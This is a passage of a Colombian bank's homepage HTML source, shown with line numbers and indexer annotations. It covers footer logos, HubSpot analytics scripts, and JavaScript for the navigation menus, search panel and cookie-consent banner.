172px) 100vw, 172px"> 5401 5402 </li> 5403 5404 <li class="logos-foot-f"> 5405 5406 5407 5408 <img src="https://www.bancofinandina.com/hs-fs/hubfs/copy_fi.png?width=124&height=41&name=copy_fi.png" alt="copy_fi" loading="lazy" width="124" height="41" srcset="https://www.bancofinandina.com/hs-fs/hubfs/copy_fi.png?width=62&height=21&name=copy_fi.png 62w, https://www.bancofinandina.com/hs-fs/hubfs/copy_fi.png?width=124&height=41&name=copy_fi.png 124w, https://www.bancofinandina.com/hs-fs/hubfs/copy_fi.png?width=186&height=62&name=copy_fi.png 186w, https://www.bancofinandina.com/hs-fs/hubfs/copy_fi.png?width=248&height=82&name=copy_fi.png 248w, https://www.bancofinandina.com/hs-fs/hubfs/copy_fi.png?width=310&height=103&name=copy_fi.png 310w, https://www.bancofinandina.com/hs-fs/hubfs/copy_fi.png?width=372&height=123&name=copy_fi.png 372w" sizes="(max-width: 124px) 100vw, 124px"> 5409 5410 </li> 5411 5412 <li class="logos-foot-f"> 5413 5414 5415 5416 <img src="https://www.bancofinandina.com/hs-fs/hubfs/superintendencia.png?width=404&height=41&name=superintendencia.png" alt="superintendencia" loading="lazy" width="404" height="41" srcset="https://www.bancofinandina.com/hs-fs/hubfs/superintendencia.png?width=202&height=21&name=superintendencia.png 202w, https://www.bancofinandina.com/hs-fs/hubfs/superintendencia.png?width=404&height=41&name=superintendencia.png 404w, https://www.bancofinandina.com/hs-fs/hubfs/superintendencia.png?width=606&height=62&name=superintendencia.png 606w, https://www.bancofinandina.com/hs-fs/hubfs/superintendencia.png?width=808&height=82&name=superintendencia.png 808w, https://www.bancofinandina.com/hs-fs/hubfs/superintendencia.png?width=1010&height=103&name=superintendencia.png 1010w, https://www.bancofinandina.com/hs-fs/hubfs/superintendencia.png?width=1212&height=123&name=superintendencia.png 1212w" sizes="(max-width: 404px) 100vw, 404px"> 5417 5418 </li> 5419 5420 <li class="logos-foot-f"> 5421 <img src="/hubfs/empresa-b-certificada.svg" alt="Banco Finandina certificado como Empresa B" loading="lazy" width="36" height="61"> 5422 </li> 5423 </ul> 5424</div> 5425 5426 5427 5428</div> 5429 5430</div><!--end widget-span --> 5431</div><!--end row--> 5432</div><!--end row-wrapper --> 5433 5434</div><!--end widget-span --> 5435</div> 5436</div> 5437</div> 5438</footer> 5439<!-- End partial --></div> 5440 5441 5442<!-- HubSpot performance collection script -->
5443<script defer src="/hs/hsstatic/content-cwv-embed/static-1.1293/embed.js"></script>
vendor: 1 bytes, line 5443
5443
5444<script> 5445var hsVars = hsVars || {}; hsVars['language'] = 'es'; 5446</script>
5446 5447
5448<script src="/hs/hsstatic/cos-i18n/static-1.53/bundles/project.js"></script>
5448 5449
5450<script> 5451 const hamburger = document.getElementById('hamburger__button'); 5452 const close = document.getElementById('close__button'); 5453 const panel_buscar = document.getElementById('panel-buscar'); 5454 const lupita = document.getElementById('lupita'); 5455 const todo = document.querySelector('.mov-menu'); 5456 const navbar = document.getElementById("nav-bar"); 5457 5458 const checkBackground = () => { 5459 const rect = navbar.getBoundingClientRect(); 5460 const elements = document.elementsFromPoint( 5461 rect.left + rect.width / 2, 5462 rect.top + rect.height / 2 5463 ); 5464 const behind = elements[16]; 5465 if (!behind) return; 5466 const style = window.getComputedStyle(behind); 5467 const bg = style.backgroundColor; 5468 const rgb = bg.match(/\d+/g).map(Number); 5469 const brightness = (rgb[0] * 299 + rgb[1] * 587 + rgb[2] * 114) / 1000; 5470 if (brightness < 80) { 5471 navbar.classList.add("navbar--dark"); 5472 } else { 5473 navbar.classList.remove("navbar--dark"); 5474 } 5475 }; 5476 5477 hamburger.addEventListener('click', () => { 5478 todo.style.display = "flex"; 5479 }); 5480 5481 close.addEventListener('click', () => { 5482 todo.style.display = "none"; 5483 }); 5484 5485 // ââ Panel de búsqueda ââââââââââââââââââââââââââââââ 5486 const searchInput = document.getElementById('search-input'); 5487 const searchForm = panel_buscar.querySelector('.searchbar'); 5488 5489 function openPanel() { 5490 panel_buscar.classList.add('show'); 5491 lupita.setAttribute('aria-expanded', 'true'); 5492 setTimeout(() => searchInput && searchInput.focus(), 60); 5493 } 5494 5495 function closePanel() { 5496 panel_buscar.classList.remove('show'); 5497 lupita.setAttribute('aria-expanded', 'false'); 5498 } 5499 5500 lupita.addEventListener('click', (e) => { 5501 e.stopPropagation(); 5502 panel_buscar.classList.contains('show') ? closePanel() : openPanel(); 5503 }); 5504 5505 document.addEventListener('click', (e) => { 5506 if (panel_buscar.classList.contains('show') && 5507 !panel_buscar.contains(e.target) && 5508 !lupita.contains(e.target)) { 5509 closePanel(); 5510 } 5511 }); 5512 5513 document.addEventListener('keydown', (e) => { 5514 if (e.key === 'Escape' && panel_buscar.classList.contains('show')) { 5515 closePanel(); 5516 lupita.focus(); 5517 } 5518 }); 5519 5520 if (searchForm) { 5521 searchForm.addEventListener('submit', (e) => { 5522 if (!searchInput.value.trim()) { 5523 e.preventDefault(); 5524 searchInput.focus(); 5525 } 5526 }); 5527 } 5528 5529 // ââ Menú desplegable ââââââââââââââââââââââââââââââ 5530 const menuItems = document.querySelectorAll('.hs-menu-item.hs-item-has-children'); 5531 5532 menuItems.forEach(item => { 5533 const wrapper = item.querySelector('.hs-menu-children-wrapper'); 5534 if (!wrapper) return; 5535 5536 let closeTimer = null; 5537 5538 const openMenu = () => { 5539 clearTimeout(closeTimer); 5540 menuItems.forEach(other => { 5541 if (other !== item) { 5542 other.querySelector('.hs-menu-children-wrapper')?.classList.remove('is-open'); 5543 } 5544 }); 5545 wrapper.classList.add('is-open'); 5546 }; 5547 5548 const closeMenu = () => { 5549 closeTimer = setTimeout(() => { 5550 wrapper.classList.remove('is-open'); 5551 }, 120); 5552 }; 5553 5554 item.addEventListener('mouseenter', openMenu); 5555 item.addEventListener('mouseleave', closeMenu); 5556 wrapper.addEventListener('mouseenter', () => clearTimeout(closeTimer)); 5557 wrapper.addEventListener('mouseleave', closeMenu); 5558 5559 // Highlight specular con mouse 5560 const specular = wrapper.querySelector('.glass-specular'); 5561 wrapper.addEventListener('mousemove', function(e) { 5562 if (!specular) return; 5563 const rect = wrapper.getBoundingClientRect(); 5564 const x = e.clientX - rect.left; 5565 const y = e.clientY - rect.top; 5566 specular.style.background = `radial-gradient(circle at ${x}px ${y}px, 5567 rgba(255,255,255,0.18) 0%, 5568 rgba(255,255,255,0.06) 30%, 5569 rgba(255,255,255,0) 60%)`; 5570 }); 5571 wrapper.addEventListener('mouseleave', () => { 5572 if (specular) specular.style.background = 'none'; 5573 }); 5574 }); 5575 5576 // Cerrar menús al hacer clic fuera 5577 document.addEventListener('click', (e) => { 5578 if (!e.target.closest('.hs-item-has-children')) {
5579 menuItems.forEach(item => { 5580 item.querySelector('.hs-menu-children-wrapper')?.classList.remove('is-open'); 5581 }); 5582 } 5583 }); 5584</script>
5584 5585
5586<script src="https://www.bancofinandina.com/hubfs/hub_generated/module_assets/1/217157323408/1788973977534/module_Slider_Hero_Home.min.js"></script>
vendor: 1 bytes, line 5586
5586
5587<script src="https://www.bancofinandina.com/hubfs/hub_generated/module_assets/1/198875143350/1789670572537/module_Carrusel_de_tarjetas.min.js"></script>
vendor: 1 bytes, line 5587
5587
5588<script src="https://www.bancofinandina.com/hubfs/hub_generated/module_assets/1/198883170664/1789671365765/module_Seccin_video_de_fondo.min.js"></script>
vendor: 1 bytes, line 5588
5588
5589<script src="https://www.bancofinandina.com/hubfs/hub_generated/module_assets/1/198894580578/1789663831168/module_Carrusel_logos.min.js"></script>
5589 5590 5591 5592<!-- Start of HubSpot Analytics Code -->
5593<script type="text/javascript"> 5594var _hsq = _hsq || []; 5595_hsq.push(["setContentType", "standard-page"]); 5596_hsq.push(["setCanonicalUrl", "https:\/\/www.bancofinandina.com"]); 5597_hsq.push(["setPageId", "199143320758"]); 5598_hsq.push(["setContentMetadata", { 5599 "contentPageId": 199143320758, 5600 "legacyPageId": "199143320758", 5601 "contentFolderId": null, 5602 "contentGroupId": null, 5603 "abTestId": null, 5604 "languageVariantId": 199143320758, 5605 "languageCode": "es", 5606 5607 5608}]); 5609</script>
5609 5610
5611<script type="text/javascript" id="hs-script-loader" async defer src="/hs/scriptloader/46676057.js"></script>
5611 5612<!-- End of HubSpot Analytics Code --> 5613 5614
5615<script type="text/javascript"> 5616var hsVars = { 5617 render_id: "69f0767f-7e51-4b30-ab33-01fa236b3f0a", 5618 ticks: 1790687778284, 5619 page_id: 199143320758, 5620 5621 content_group_id: 0, 5622 portal_id: 46676057, 5623 app_hs_base_url: "https://app.hubspot.com", 5624 cp_hs_base_url: "https://cp.hubspot.com", 5625 language: "es", 5626 analytics_page_type: "standard-page", 5627 scp_content_type: "", 5628 5629 analytics_page_id: "199143320758", 5630 category_id: 1, 5631 folder_id: 0, 5632 is_hubspot_user: false 5633} 5634</script>
5634 5635 5636
5637<script defer src="/hs/hsstatic/HubspotToolsMenu/static-1.640/js/index.js"></script>
5637 5638 5639 5640 5641 5642 5643 5644 <div id="cookie-banner" class="cookie-banner" role="dialog" aria-label="Aviso de cookies" aria-modal="false"> 5645 <div class="cookie-banner__inner"> 5646 <div class="cookie-banner__content"> 5647 <div class="cookie-banner__icon" aria-hidden="true"> 5648 <svg width="22" height="22" viewbox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"> 5649 <path d="M12 2a10 10 0 1 0 10 10 4 4 0 0 1-5-5 4 4 0 0 1-5-5" /> 5650 <path d="M8.5 8.5v.01" /><path d="M16 15.5v.01" /><path d="M12 12v.01" /> 5651 </svg> 5652 </div> 5653 <div class="cookie-banner__text-wrap"> 5654 <p class="cookie-banner__title">Usamos cookies</p> 5655 <p class="cookie-banner__desc"> 5656 Utilizamos cookies propias y de terceros para mejorar tu experiencia y analizar el tráfico del sitio. 5657 <a href="/informacion-de-interes/proteccion-de-datos/aviso-de-privacidad" target="_blank" rel="noopener">Más información sobre nuestra polÃtica de cookies y privacidad</a> 5658 </p> 5659 </div> 5660 </div> 5661 <div class="cookie-banner__actions"> 5662 <button class="cookie-banner__btn cookie-banner__btn--secondary" id="cookie-btn-essential">Solo esenciales</button> 5663 <button class="cookie-banner__btn cookie-banner__btn--primary" id="cookie-btn-all">Aceptar todo</button> 5664 </div> 5665 </div> 5666 </div> 5667 5668
5668<script> 5669 (function () { 5670 var KEY = 'fin_cookie_consent'; 5671 var banner = document.getElementById('cookie-banner'); 5672 if (!banner) return; 5673 5674 /* Si ya hay consentimiento guardado no mostrar */ 5675 if (localStorage.getItem(KEY)) return; 5676 5677 /* Mostrar con un tick para que la transición CSS se active */ 5678 requestAnimationFrame(function () { 5679 requestAnimationFrame(function () { 5680 banner.classList.add('cookie-banner--visible'); 5681 }); 5682 }); 5683 5684 function saveConsent(value) { 5685 /* localStorage */ 5686 try { localStorage.setItem(KEY, value); } catch (e) {} 5687 /* Cookie 1 año */ 5688 var exp = new Date(); 5689 exp.setFullYear(exp.getFullYear() + 1); 5690 document.cookie = KEY + '=' + value + 5691 '; expires=' + exp.toUTCString() + 5692 '; path=/; SameSite=Lax; Secure'; 5693 /* Ocultar */ 5694 banner.classList.remove('cookie-banner--visible'); 5695 setTimeout(function () { banner.style.display = 'none'; }, 400); 5696 } 5697 5698 document.getElementById('cookie-btn-all') 5699 .addEventListener('click', function () { saveConsent('all'); }); 5700 5701 document.getElementById('cookie-btn-essential') 5702 .addEventListener('click', function () { saveConsent('essential'); }); 5703 }()); 5704 </script>
5704 5705 5706 5707</body></html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.